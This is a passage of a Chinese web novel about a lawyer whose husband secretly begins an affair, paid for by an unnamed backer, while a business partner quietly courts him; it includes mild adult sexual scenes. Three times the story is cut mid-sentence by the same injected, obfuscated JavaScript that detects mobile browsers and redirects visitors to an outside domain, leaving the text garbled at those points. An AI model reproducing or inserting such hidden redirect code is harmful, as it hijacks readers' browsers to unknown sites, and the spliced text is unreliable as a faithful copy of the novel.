“也不一定,先看看拉没拉黑你吧。”曲颂将手机还给许天和,眼睁睁看着他动用了‘拍一拍’的功能,而后一脸兴奋道:“没拉黑!” 正当曲颂以为对方不会理会时,那边回了句:【怎么了?】 曲颂:“……”命里带妻。 许天和捧着手机好像捧着一块烫手山芋:“我怎么回啊?” 追人这种事只能许天和自己来,曲颂认真道:“怎么回你自己想。就记住一句话,真诚是永远的必杀技。” 说完回了自己的办公室。 半小时没到,许天和推门而入,喜悦之情溢于言表:“我邀请她吃午饭,她同意了!我先回家准备准备,中午你自己吃饭吧。” 曲颂正在查看邮件,闻言笑着点点头:“加油。” “必须的!” 曲颂继续工作,时间不知不觉来到中午。拿起手机正准备点外卖,办公室门被推开,曲颂抬头,宋琰已经走到了办公桌跟前,语气别扭而僵硬:“吃饭了吗?” 这是宋琰第一次在没和好的情况下主动来找他,曲颂心中高兴,表面却一脸平静地继续翻看外卖软件:“没,点外卖呢。” 下一秒,手机被抽走,宋琰语气霸道:“外卖没营养,我都订好餐厅了,就在律所附近,一起去吃。” 虽然和曲颂预想的情况还差些,但一口吃不成胖子,凡事都要循序渐进。曲颂点点头:“行吧。” 到了餐厅,宋琰拿着菜单点菜,听着全是自己喜欢吃的菜,曲颂心情又好了不少。 菜上齐,两人开始吃饭。宋琰的微信突然响了,以为是工作的曲颂没当回事,继续低头吃饭。 林畔:【[图片]】 林畔:【在干嘛宋少,想你了。】 照片是林畔的自拍,手里举着一块奶油蛋糕,粉嫩的嘴唇上粘着一层奶油。 看到消息的一瞬,宋琰感觉到的不是心虚,而是一种前所未有的刺激感,让他整个人都兴奋起来。 当着曲颂的面回复道:【吃饭。】 林畔:【和谁啊?】 宋琰旁若无人地敲字:【我老婆。】 林畔:【那宋少觉得是我好看还是你老婆好看?】 宋琰直接从相册里找了张曲颂的照片发了过去:【你觉得呢?】 听到频繁的提示音,曲颂抬起头,询问道:“很忙吗?” “没有,就是回几条消息。”宋琰脸上没有一丝一毫的慌乱,眼睛仍盯着手机屏幕,表情坦荡,“你吃你的,我很快。” 曲颂不疑有他,没再深问。 看到照片里的人,林畔眼里闪过惊艳。身边有这么好的人还和别人撩骚,吃着碗里的看着锅里的,果然不是什么好东西。 林畔面带嘲讽地敲字:【情人眼里出西施,在宋少眼里肯定是他更好看了。但是我也不差,宋少想试试吗?】 看到这条消息,宋琰没回复,按灭了手机。有时候,不说话比说话传达的意思更多。 11. 投射 另一边,许天和回家捯饬完自己,拎着公文包出门赴约。到餐厅没多久,对方也到了。 陈轻语坐到许天和对面,抬手将头发别到耳后:“到多久了?” 许天和坐得笔直,就差把‘我很紧张’四个字刻在脸上了:“刚……刚到。” 菜单推到她面前:“看看喜欢吃什么,随便点。” 陈轻语翻开菜单:“那我不客气了。” 许天和:“千万别客气!” 等餐的空挡,陈轻语好奇问:“怎么突然请我吃饭?是有什么事吗?” 许天和像是下了什么决心般,只见他一个深呼吸,拉开公文包拉链,将里面的东西一件件拿出来摆在桌上:银行卡、房产证、驾驶本。嘴跟豆子似的: “我就一张银行卡,这些年赚的钱全在里面,房子去掉公摊一百六十平左右,没房贷,车也是全款买的,就是被你追尾的那辆。我平时没什么烧钱的爱好,喝酒但不抽烟,外形条件如你所见。我老家南方的,父母都是上班族,有退休金,赡养压力不大……哦对了,我是独生子。” 说完,许天和想了几秒,实在想不出还有什么能介绍的:“你看看还想了解什么?” 陈轻语表情有点懵,呐呐道:“怎么吃个饭连家底都搬出来了?” “我想追你。”许天和打起了直球,“这些就是我的情况,你要是觉得还行的话,能不能试着跟我接触接触?” 陈轻语一时间竟不知道说什么,好半天才失笑着问:“你怎么突然开窍了?” 许天和坦白道:“我把咱俩得聊天记录给我朋友看了,他数落了我一顿。” 陈轻语顿了顿,看着桌上的东西,语气不好不坏:“所以这个主意也是他给你出的了?” “不是。”许天和摇了摇头,“他就告诉我真诚是永远的必杀技,其余让我自己想。” 陈轻语闻言轻轻笑了:“你这个朋友还挺好的。” 许天和点头:“我俩十几年的朋友了,人品杠杠的。” 陈轻语端起杯子喝了口水,没再说话了。许天和再接再厉:“你上次说的那部电影我搜了,反响很好,这周末我们可以一起去看。” 陈轻语点头:“好啊。” 许天和迫不及待掏出手机:“我现在就买票!” - 下午的时候,傅识云过来谈合作,三个人坐在会议室里交流了一个多小时,确定了进一步的合作意向,再往下就是拟定合同、正式签约了。 从会议室出来,傅识云打量整个律所,眼里流露出好奇:“我还是第一次来。” 曲颂自告奋勇:“我带傅总参观一下。” 傅识云:“有劳了。” “这两间都是会议室,旁边是茶水间、洗手间……”曲颂边走边介绍。傅识云认真听着,眼神时不时落在曲颂身上,看似是出于礼貌的注视,其实就是为了看他。 走到一间办公室前,曲颂停下脚步:“这间办公室是为傅总准备的。” 傅识云作为律所合伙人,不管他来不来,独立办公室最起码得有。 傅识云顿时来了兴趣:“那我可得好好看看。” 推门进去,办公室大小、布局都和曲颂的办公室差不多,打扫的很干净,采光明亮,没什么异味。 曲颂站在傅识云身后:“怎么样,还可以吧?” “很好。”傅识云转身看着曲颂,能察觉到他由内撒发出来的轻松和愉快,忍不住问,“什么事这么开心?” 曲颂愣了下:“有吗?” 傅识云语气笃定:“有。” 曲颂淡笑道:“也没什么,就是和我对象吵架和好了而已。” 傅识云眼神黯淡了一瞬,但也真心替他开心:“和好了就好,吵架确实很影响心情。” 曲颂不置可否:“去我办公室喝杯咖啡吧。” “你泡的吗?” “当然,请吧傅总。”曲颂说着做了个请的姿势。 进了办公室,曲颂径直走到咖啡机前:“还是拿铁怎么样?” “好。我能随便看看吗?” “当然没问题。” 曲颂泡咖啡,傅识云参观办公室。走到办公桌前,看到电脑旁边的相框,沉默两秒,状似随意地开口:“这张照片我在你家里也见过。” 曲颂转头看了眼,不好意思地笑了笑:“很久之前拍的,我挺喜欢的,就一直没换。” 傅识云又低头去看。隔着一层相框玻璃,笑容洋溢、满脸幸福的曲颂被宋琰抱在怀里,好似天造地设的一对。 嫉妒在心里滋生,攻城略地,很快便占了上风。傅识云移开目光,走到沙发前坐下,将话题转移到公事上:“等合同拟好我们再详细协商。” “好。”曲颂应了声,端着咖啡走过去。 傅识云道谢接过来,看到上面的麦穗拉花,低头喝了一口,苦涩醇香的味道在口腔里蔓延:“曲律师羡慕过什么人吗?” 曲颂坐在一旁的单人沙发上,虽不知对方为何会突然这么问,还是回答道:“小时候应该有过,具体也记不清了,长大了就不会了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779595|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羡慕源于无法拥有,既然无法拥有,又何必执着。不过以傅总的条件,应该没有什么人值得你羡慕吧。” 傅识云又喝了口咖啡,语气意味不明:“有的。” 曲颂忽然想起傅识云说过他妈妈在他幼时就去世的事情,以为他指的是这个,怕提到伤心事,便没再开口。 - 晚上,曲颂从律所回到家,看到地上的鞋,知道宋琰已经回来了。打开书房门,宋琰正坐在电脑前,听到动静抬起头,神色意外:“什么时间回来的?” “刚回来。”曲颂穿着西装站在门口,以他的角度看不到电脑屏幕,自然也就不知道宋琰并非工作而是在跟人聊天,“吃饭了吗?” 宋琰摇头,鼠标指针移动到微信界面关闭按钮上,眼睛盯着曲颂:“没吃。” “我也没吃,我去煮面,你忙吧。”曲颂走前还不忘关上门。 书房里,宋琰继续将注意力放到电脑屏幕上,看着林畔绞尽脑汁地勾引他,享受着被追捧的快感。 回卧室换上居家服,曲颂去了厨房,从冰箱里拿出一包拉面,着手准备晚饭。做好后端到桌上,敲了敲书房门:“吃饭了。” 没一会儿,宋琰从书房出来,看到桌上热乎的面条,心里涌上一股内疚感。于是第二天晚上,曲颂收到了宋琰送的一块价格不菲的手表。 ——宋琰缓解内疚的方法不是向曲颂坦白、不是和林畔断干净,而是通过物质上对曲颂的补偿以求心安。 曲颂一脸莫名:“好端端送我这么贵重的礼物干什么?” “想送就送了。”宋琰边说边摘掉曲颂腕上的手表,将新的戴上去,“表带让店员照着我的截短了两截,你戴正合适。” 宋琰自幼生活富足,什么好东西都见过,审美自然没话说。加上又和曲颂朝夕相处这么多年,对他的喜好了如指掌,很容易就送到心坎上了。 曲颂抬着手端详了半天,越看越喜欢,亲了宋琰一口,眉眼带笑:“谢谢,我很喜欢。” 宋琰拖住曲颂的臀部抱起他,放到沙发上,低头吻了上去。 空气逐渐升温。 曲颂搂着宋琰的脖颈,衬衣半褪挂在臂弯,下身未着片缕,一双桃花眼湿漉漉的,眼角泛红,勾人得不行,呼吸不稳道:“去卧室。” 宋琰手用力掐着曲颂的腰,嗓音低哑地命令道:“就在这里,腿抬起来。” 下午的时候,林畔给宋琰发了一张穿着衬衣光腿躺在沙发上的照片。 于是晚上,曲颂成了宋琰性--幻想的投射。 12. 出轨 三月底,曲颂和许天和去参加赵老师女儿的婚礼。就在本地,曲颂开车到时,许天和已经在酒店外面等他了。 俩人一起进去,一进酒店大堂就看到了迎宾牌,从内容和风格上看不止一对。许天和一一看过去:“今天结婚的不少啊!” 曲颂:“走吧,别迟了。” 宴会厅在九层,从电梯出来,正对着的就是他们要找的2号厅。宴会厅门口一侧立着新郎新娘的人形立牌,另一侧坐着记礼金的人,男女方分开,一家两个,一共四个人。 许天和歪头冲曲颂低声道:“这可得是信得过的人,等我以后结婚,这个任务就交给你了。”说着遗憾叹了口气,“毕竟伴郎是当不成了。” 曲颂轻笑道:“先脱单再说吧你。” 许天和胸有成竹:“早晚的事!” 喜宴是男女双方一起办的,以中间过道为界,男左女右。他们是女方宾客,因此坐到了右边。 离婚礼正式开始还有一段时间,曲颂坐在靠墙的椅子上,不动声色地打量着宴会厅。海洋主题的装饰,梦幻又浪漫,让人心生羡慕。 忽然想起什么,曲颂无声又无奈地笑了——话果然不能说太满,前不久还言之凿凿不会羡慕什么人,今天就羡慕上了。 他和宋琰并未举办婚礼,只是领了证。不办婚礼是宋琰家里人的要求,甚至双方家长都没正式见过面。曲颂当时的想法是,他图的是宋琰这个人,其他的都不重要。加上不愿宋琰夹在中间为难,便没强求。 当然,曲颂不是没幻想过。然而幻想终归是幻想,如同漂浮在空中的楼阁,落不了地的。 吉时到,新娘穿着洁白的婚纱在一道道祝福的目光中缓缓向新郎走去。许天和看得正起劲儿,余光不经意瞄到曲颂,看到他眼里的黯然,叹了口气:“遗憾吗?” 知道曲颂要和宋琰结婚,许天和提前一个月就开始准备节目,想着说什么也不能给好友丢面子,一定要露一手!谁承想最后没用上,俩人压根儿就没办婚礼。 曲颂笑容苦涩:“有点儿。” - 下午有个线上庭审,参加完婚礼,曲颂就近回了家。换上西装来到书房,曲颂坐在了电脑前。 家里的台式电脑宋琰用的多,曲颂更习惯用笔记本,为数不多用到台式的地方就是线上庭审,屏幕大,看得更清楚,只要条件允许曲颂都用台式。 电脑处于待机状态,曲颂轻点鼠标唤醒,输入密码后,入目的就是宋琰的微信聊天界面。左边是最近聊过天的联系人列表,右边一片空白。 曲颂看到了自己的微信头像,处在置顶位置,备注为:老婆,不禁笑了笑。再往下是一个叫林畔的,聊天栏里只有四个字:【看你表现。】 曲颂没点进去,因此看不到是谁发的,鼠标移到右上角点击关闭,开始为庭审做准备。 宋琰晚上回到家时,曲颂正坐在沙发上回复线上咨询,听到动静抬头往门口看了眼,语气亲昵:“回来了。” 宋琰几步走到沙发边,弯身亲了曲颂一口:“我先去忙,待会一起出去吃饭。” 曲颂笑着点头:“好。” 进了书房,宋琰走到办公桌前,发现电脑关机了,整个人顿时慌作一团——他习惯让电脑自然待机,而曲颂每次用完都会关机。 因为曲颂几乎不怎么用台式电脑,宋琰潜意识里已经将它视为自己的私有物,早上离开时并未退掉微信。 宋琰三步并两步走到门口,打开书房门,尽量平静地问:“你用家里电脑了?” 曲颂背对着宋琰“嗯”了声,语气稀松平常:“下午有个线上庭审。我现在不用了,你用吧。” 确定曲颂什么都没发现,宋琰松了口气的同时,竟感到一种前所未有的爽感,于是更加迷恋在曲颂眼皮子底下和林畔聊天。 最近这段时间宋琰一回来就一头扎进书房,曲颂以为他是工作忙,想着长恒情况复杂,宋琰作为长孙压力肯定不少,从来都不去打扰。 晚上一起吃饭时,曲颂:“我明天要出差,大概四五天。” 异地办案是律师的常态,曲颂这些年走南闯北,足迹不说遍布全国也差不多了。 宋琰闻言应了句:“知道了,注意安全。” 曲颂嘱咐:“工作再忙也要注意身体,我不在这几天记得按时吃饭。” 宋琰唇角勾起一抹得意的笑,转瞬即逝:“你也是。” 第二天一早,曲颂坐上了飞往南方的航班。宋琰更加肆无忌惮,抛下工作去和林畔见面。 要说有多喜欢林畔也谈不上,宋琰只是疯狂迷恋偷--情带来的刺激感和爽感,已经完完全全上瘾了。 游乐园长椅上,林畔喝着果汁:“宋少今天怎么有时间陪我?” 宋琰看着数年前和曲颂来过的游乐园:“他出差了。” 当时他们都做了什么来着? 忘了。 只记得来过。 林畔一愣,心里随即有了计划,笑意未达眼底:“那宋少今天是我的了。” 之后在林畔的提议下,两人去玩了鬼屋。林畔以害怕为由,一个劲儿往宋琰身上贴。宋琰当然知道他是故意的,也不戳穿,只默默享受着。 一直玩到晚上,林畔撒娇让宋琰送他回家,宋琰同意了。 “宋少请坐,我去开瓶红酒。”林畔走到酒柜前,拿出瓶红酒打开,倒了两杯,端着坐到宋琰身边,“上次没喝我的红酒,这次可不许拒绝了。” 宋琰接过来喝了一口:“不错。” 林畔与他碰了碰杯:“今晚我们不醉不归。” 一瓶红酒饮尽,两人都有些微醺,林畔主动,宋琰没躲,后面的事便水到渠成了,直到后半夜才偃旗息鼓。林畔从床上坐起来,打开床头灯,对着熟睡的宋琰拍了几张照片,给[老板]发了过去。 翌日,宋琰睡醒,记忆渐渐回笼,懊悔和慌乱如潮水般袭来,快要将他淹没。冷静下来后,脑子里冒出的第一个想法是:绝不能让曲颂知道! 开门声惊动了沉浸在自己情绪里的宋琰,转头看向林畔,眼里凝着寒霜,俨然已经将他当成了罪魁祸首。 林畔装出一副善解人意的模样,主动开口:“昨晚我们都喝醉了,就当什么都没发生过吧。我是心甘情愿的,宋少不必觉得困扰。” 宋琰脸色缓和了几分,穿好衣服,一副要划清界限的架势:“我没带支票,你明天去公司找我。” 林畔低眉顺眼:“好。” 林畔站在客厅,眼神冷漠目送宋琰头也不回地离开。门关上,林畔解锁手机,看着前不久收到的银行入账短信,轻轻勾起了唇角。 翌日上午,林畔去了长恒医药的办公楼,跟前台道:“我找宋琰,是他让我来的。” 前台打电话确认后,让林畔自己乘电梯上去。来到宋琰办公室门口,林畔换上笑脸,轻轻推开门:“宋少。” 宋琰手指夹起支票,林畔走过去拿,扫了眼上面的额度,五十万,还挺大方:“宋少这是要彻底跟我断了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779596|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从昨天早上醒来后,宋琰一直心神不宁,脑子里反反复复都是曲颂的好,他甚至不明白自己这将近一个月来为何会如此鬼迷心窍。 听到林畔这么说,宋琰眼里没有丝毫犹豫,冷声威胁:“昨晚的事天知地知,你知我知。否则别怪我不留情面。” 林畔低头,掩下了眼里的嘲弄:“好。” - 案子顺利结束,回到家的曲颂正站在门口换鞋,宋琰从卧室里出来,一把将他紧紧抱在怀里。 察觉到宋琰强烈的不安,曲颂眼底浮上疑惑:“怎么了?” 嗅着曲颂身上熟悉的男士香水味,宋琰将人抱得更紧:“你不许离开我,永远都不许,你是我的。” 曲颂失笑道:“我不过是出差了几天,怎么还给你弄出分离焦虑来了。” 这种情况不是没出现过,俩人最腻歪那两年,宋琰甚至陪曲颂出过差,所以曲颂并未往别处想。 安抚地拍了拍宋琰的肩膀:“松开,我快喘不过气了。” 宋琰这才依依不舍松开了手,一双眼睛黏在曲颂身上:“我如果做错了事,你会原谅我吗?” “这么多年我原谅你的次数还少吗?”曲颂上下打量宋琰,总觉得他整个人怪怪的,又说不上来,“说吧,到底有什么事瞒着我?” 宋琰摇头:“没有。就是随便说说。” 曲颂拎着行李箱进了卧室,看到床上的相册,纳闷儿道:“你怎么把它拿出来了?” 相册里是两人这么多年的照片,是曲颂弄的。没有人的记忆能永远鲜艳,所以照片才有了意义。哪怕是一张普通的证件照,多年后再看都感慨万千,更不要说本就被赋予纪念意义的照片了。 跟在曲颂身后进来的宋琰眼神有一瞬慌乱:“睡不着,拿出来看看。” ——实则是靠过去的甜蜜回忆驱散内心的内疚和慌乱。 在家休息一天后,曲颂去了律所,将精心挑选的纪念品送给律所的人,礼轻情意重,也算是一份心意。 许天和一进律所就听见有人夸曲颂:“曲律简直就是温柔的化身,我进律所这么久就没见他发过脾气。” 另一人紧跟着说:“曲律的好脾气在整个圈子里都是出了名的。主打的就是一个情绪稳定,人送外号卡皮巴拉。” 许天和溜达到曲颂办公室:“卡皮巴拉,大家伙都夸你呢。” 曲颂无奈笑了笑:“其他人这么喊就算了,你怎么也跟着凑热闹。” 上学时给老师取外号,工作了给上司取外号,人生逃不过的两大铁律,不是取的就是被取的,曲颂只当是夸奖了。 中午,宋琰过来和曲颂吃午饭,之后就赖在曲颂办公室不走了。 见他迟迟不离开,曲颂问道:“你不回公司吗?” 宋琰坐在沙发上:“不回,今天下午陪你。” “宋琰,”曲颂很真地叫他名字,手里的笔一下一下轻敲着文件,审视着沙发上的人,“你有话可以直说。我们这么多年感情,没必要藏着掖着。” “说了没有。”宋琰不敢直视曲颂的眼睛,不耐烦地蹙了蹙眉,起身,“我去洗手间。” 他前脚刚走,许天和后脚进来,一脸纳闷:“他怎么又开始黏你了?这场景我可是有三年多没见到了。” 曲颂摇头:“不知道,黏就黏吧。” 曲颂能感觉到宋琰有事瞒着他,但既然对方不肯说,他也不逼问。因为问也问不出来,还会因此吵架。 纸包不住火,总有瞒不住的时候。 13.端倪 宋琰的反常行为持续不到两周便消失了,虽不再患得患失地黏着曲颂,但无端出神的频率高了起来。在家里,曲颂有意无意发现了好多次,明显是有心事。 曲颂担心他这么下去出问题,趁周末休息,提议出去散心。春回大地,四月正是海棠花盛开的时节,两人去了江北市著名的海棠街。 此时的宋琰还不知道,这是他和曲颂的最后一次约会,全然不放在心上。 天气晴朗,路两旁的海棠树花满枝头,绿叶簇拥着粉白的花,甚至好看,微风送来阵阵花香,往来行人络绎不绝,还有许多卖吃食的小车。 曲颂抬头赏花,视线不经意落在宋琰身上,见他一副兴致缺缺的模样,耐心劝道:“出来玩就不要想那些不开心的事了,这么好看的花不看多可惜。” 宋琰毫不在意:“年年都开,有什么好看的。” 曲颂看了他一眼,没再说别的。 又往前走了一小段路,宋琰往长椅上一坐,不耐烦道:“你自己看吧,看够了回来找我,我懒得走。” 曲颂缓缓吐出口气,压下心中的失望与不快,转身自己走了。 目送曲颂渐渐远去的背影,宋琰拿出手机,点开了和林畔的微信,犹豫要不要给他发消息。 当内疚与不安褪去后,躁动的心死灰复燃。宋琰又开始着了魔似的想和林畔联系,念念不忘那晚的春宵一度,甚至趁曲颂晚上睡着后,偷偷去卫生间想着那些画面自--慰。 理智告诉宋琰应该和林畔断的一干二净,这辈子都不要联系,好好和曲颂过日子。同时另一道声音又拼命蛊惑他:这种事只有做与不做的区别,多一次少一次无关痛痒。何况曲颂这么信任他,只要瞒得严实点,就一定没问题。 宋琰坐在椅子上天人交战,林畔好像知道他此刻在想什么一样,默契地发消息过来。这是那天林畔拿着支票离开后,第一次主动联系他,只一眼宋琰就坐不住了: 【我的金--主过几天出国,要我跟着一起去,以后可能都不回来了。宋少,我想见你最后一面。】 这些话连标点符号都不是真的,林畔之所以这么做,是因为收到了新任务,要他尽快破坏掉宋琰的婚姻。他现在手里只有一张宋琰睡着后的照片,想要快速达到目的,得需要更多证据才行。 下一秒,聊天界面底端冒出一条消息:【你在哪?】 林畔勾了勾唇:【在家。】 宋琰起身大步流星离开,车开出去两个红灯才想起给曲颂发消息:【公司有急事,我先走了,你打车回去吧。】 接着将手机调成了静音,不想任何人打扰。 看到这条消息,曲颂的心情瞬间跌至谷底,按灭手机坐到就近的长椅上,没有了继续逛下去的欲望。 这条街是他们第一次约会的地方,宋琰放寒假从国外回来,他们正式确定了关系。当时是腊月,海棠树上缠了很多五颜六色的彩灯,雪一下,到了晚上别是一番风景。牵手沿着街道漫步,来来回回走了好几遍都不觉得累。 看着盛开的海棠花,曲颂失神地轻声呢喃:“年年岁岁花相似,岁岁年年人不同。” - 晚上八点多,曲颂收到了宋琰的微信:【我去外地出差了,马上登机,大概一周左右。】 看到这条消息,曲颂心里涌上一股强烈的感觉——宋琰在撒谎。说不出原因,但就是这么觉得。 曲颂什么都没回,转天早上开车去了长恒办公楼,来到前台:“我来找宋琰。” 前台自然认识曲颂,连忙打电话通知,而后一字不落地转达:“宋总昨晚上出差了,大概要一周。” 曲颂礼貌笑了笑:“我能上去吗?” “当然可以。” 从电梯出来,曲颂见到了宋琰的助理,挑眉问:“他出差没带你?” 助理摇了摇头,表情坦荡:“宋总说他一个人去就可以。” 曲颂没再问别的:“我去他办公室坐坐方便吧?” 助理点点头:“我去给您泡咖啡。” “不用麻烦,我不久留,你继续忙吧。” 进了宋琰办公室,曲颂并未胡乱翻动,径直走到办公桌前,银白色笔记本电脑静静躺在办公桌右上角。 不带助理就算了,连工作常用的笔记本也不带,这是出的哪门子差? 曲颂闭了闭眼,满脸失望。 宋琰,你到底瞒了我什么?又为什么要撒谎? - 宋琰待在林畔家里,两人连续三天没出门,在做什么不言而喻,凡是适合的地方都遍布痕迹。 第三天晚上,宋琰搂着林畔:“明天先不陪你了,别忘了我说的,和他断了,以后跟着我。” 林畔:“宋少这是要包--养我了?” 宋琰捏起林畔的下巴,语气不好不坏:“明知故问。” 林畔也不挣脱,柔顺地撒娇:“我这不是害怕嘛,怕宋少只图一时新鲜,等腻了就不理我了。” 宋琰没说什么海誓山盟,他不过是迷恋林畔的身体和床--技而已,松开手,冷漠开口:“不会让你吃亏,明天我再给你张支票。各取所需,不要肖想别的。出了这道门,我们就是陌生人。” 林畔顺从应道:“都听宋少的。” 翌日,宋琰去了公司,和往常一样工作一天后下班回家。 曲颂还没回来,宋琰钻进洗手间洗了个澡,用家里的洗发水盖住了林畔的洗发水的味道。 换上居家服来到客厅,曲颂已经回来,正坐在沙发上,听到声音并未转头:“不是要一周吗,怎么才四天就回来了。” 宋琰淡定应对:“事情提前办完了。” “出差助理和电脑都不带,衣服也一件没少。”曲颂起身直视着宋琰,黑亮的眸子似乎能看到人心里去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782794|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你到底去哪儿了,我要听实话。” “我当时走得急,哪顾得上回来收拾衣服。再说了,谁规定出差一定要带助理和电脑了?你能不能不要疑神疑鬼!”宋琰用生气掩饰心里的慌乱。 曲颂没和他犟,伸出手:“手机。” 宋琰没听到一样迟迟未动。 “在一起八年,这是我第一次查你手机。”曲颂盯着宋琰,一字一句,“你给还是不给。” “不给!”宋琰声音更大,心里已经慌作一团,“我没做任何对不起你的事!信不信随你!” 缓了口气接着道:“我去公司了,这个家待的人窒息!” 听着重重的摔门声,曲颂转身去了书房,输入台式电脑的密码,密码错误的提示刺痛了曲颂的眼睛。 ——宋琰竟然把密码换掉了。 手越攥越紧,最终没控制住将桌上的文件扫到了地上。 曲颂现在以为的是宋琰听从了家里人的安排,在和女孩子接触,所以才会瞒着他。曲颂甚至还想,只要宋琰说出来,自己一定陪他一起面对。 既然当初他们能挺过家里人的反对,也一定能挺过孩子的事。是时候找个机会好好谈谈这个问题了,曲颂心里想着。 转天临近下班,许天和推开办公室的门:“今天你生日,准备怎么过啊?” 曲颂愣了下,抬头看向桌上的日历,后知后觉今天已经4月23号了,好半天才道:“回家吧。” 他生日宋琰肯定会回来,是个谈心的好机会。 “行吧,那我就不打扰你们过二人世界了。”许天和送上祝福,“生日快乐,祝你活一百岁!生日蛋糕我给你买了,在我办公室,走前记得拿上。” 曲颂莞尔一笑:“谢谢许妈妈。” 拎着蛋糕回到家,曲颂又去厨房做了几道菜,和蛋糕一起摆在桌子上。 这一天曲颂收到了很多生日祝福,妈妈、朋友、同事、委托人……唯独没有宋琰的。 在桌前枯坐到十点,曲颂给宋琰打电话,耳边传来机械的女声:“对不起,您所拨打的电话已关机……” 确定宋琰不会回来的瞬间,曲颂不由想起了宋琰陪他过的第一个生日。 当时宋琰在国外读书,并未放暑假。学校里发生了严重暴乱,荷枪实弹的警察将学校围住,禁止任何人进出。 宋琰冒着被击毙的危险从学校溜了出来,坐飞机回来陪他过生日。 看到宋琰抱着鲜花和蛋糕,风尘仆仆站在门口冲他笑着眨眼的那一刻,曲颂没忍住哭了出来。 不顾性命,横穿整个太平洋也要回来的是他;近在咫尺,不肯回来的也是他。中间横着的是比太平洋还要难以跨越的时间。 这一刻,曲颂感觉不到愤怒、失望、难过,而是深深的释然。 ——拥有过一朵花的美丽,即便哪天凋谢了,也不会怪它花期太短。 14.好友申请 已经凉透的菜套好保鲜膜放进冰箱,曲颂回到桌前,看着精致的蛋糕也没了吃的欲望,正要收起来,微信响了: 傅识云:【生日快乐,希望不会太晚。】 房子里静的落针可闻,孤独感快要将曲颂淹没,他迫切地希望身边有个人,冲动之下回复:【谢谢,傅总要吃蛋糕吗?】 迅速冷静下来又觉得不妥,正要撤回,对方的消息抢先一步:【还有蛋糕可以吃?】 曲颂对着一口未动的蛋糕拍了张照片发过去:【有很多。】 傅识云:【那我就不客气了。】 四十多分钟后,一身西装的傅识云按响了门铃,怀里抱着一大束白色铃兰花:“晚上好。” 出国考察项目长达半月之久,紧赶慢赶,总算在曲颂生日这天连夜赶了回来。也没指望一定能见面,只是心存侥幸地想着,万一他要办生日会,或许会邀请自己。 好在老天爷待他不薄,收到消息第一时间从机场直奔这里。路上经过一家商店,在花店老板的建议下,傅识云买了象征着幸福和好运的铃兰花。 唯一遗憾的是没来得及收拾自己,希望现在的形象不会太拉胯。 曲颂全然不知面前精神奕奕的男人刚刚结束长达十几小时的飞行,接过鲜花:“晚上好。花很漂亮,谢谢。” 傅识云换好鞋走进去,不动声色扫过整个房间,确定了曲颂一个人在家。桌上的生日蛋糕完整,原因不言而喻。 “许愿了吗?”傅识云问。 曲颂兴致不高地摇了摇头。 傅识云拿起蜡烛小心插在蛋糕上:“有没有打火机?” 曲颂转身去茶几上拿。宋琰抽烟,家里从不缺这东西。 点燃蜡烛,傅识云用手打着拍子唱起了生日歌,低沉磁性的嗓音回荡在客厅里:“祝你生日快乐,祝你生日快乐,祝你生日快乐,祝你生日快乐~” 看着面前认真唱生日歌的男人,烛火映着他立体俊朗的五官,曲颂心里说不出什么滋味,只是不受控制地想:如何这个人是宋琰就好了。 唱完生日歌,傅识云笑着开口:“这回可以许愿了。” 曲颂不想辜负对方一番好意,闭上眼,双手合十,许了“身体健康,家人平安”的愿望。低头吹灭蜡烛,切下一块蛋糕递给傅识云:“放的有点久了,不知道口感怎么样。” 傅识云接过来,挖了一勺放进嘴里,非常走心地夸赞:“很好吃。奶油甜度适中,蛋糕胚松软,水果也很新鲜。” 曲颂不禁笑了笑,想着对方大晚上从机场跑过来,贴心询问:“傅总吃饭了吗?我晚上做了几道菜,没吃放冰箱里了,不嫌弃的话我去热一热。” “没吃呢。”傅识云放下手里的蛋糕,“我去热吧,你坐下吃蛋糕。” “我去就好。”曲颂说完抬脚往厨房走去。 傅识云目光追随着曲颂进了厨房,看着他忙碌的背影,心里忽然生出一种“他们已经这样一起生活了很多年”的错觉。 热好的饭菜端到桌上,曲颂从酒柜里拿出瓶红酒,坐到餐桌前,倒了一杯仰头一饮而尽。 傅识云不忍见他一个人喝闷酒,自己去厨房拿了个杯子,倒上酒:“既然来了就再当面说一次,生日快乐。” 曲颂弯起桃花眼笑了,笑意未达眼底,举杯和傅识云碰了碰:“干杯!” 曲颂不经常喝酒,加上情绪憋在心里,酒喝的又快又急,一瓶红酒见底,人已经醉的趴在了桌子上。 傅识云抱着睡着的曲颂去了卧室,给他盖好被子,坐在床边默默守着。确定他彻底睡熟了,没有难受或者想吐,傅识云起身轻步离开房间。 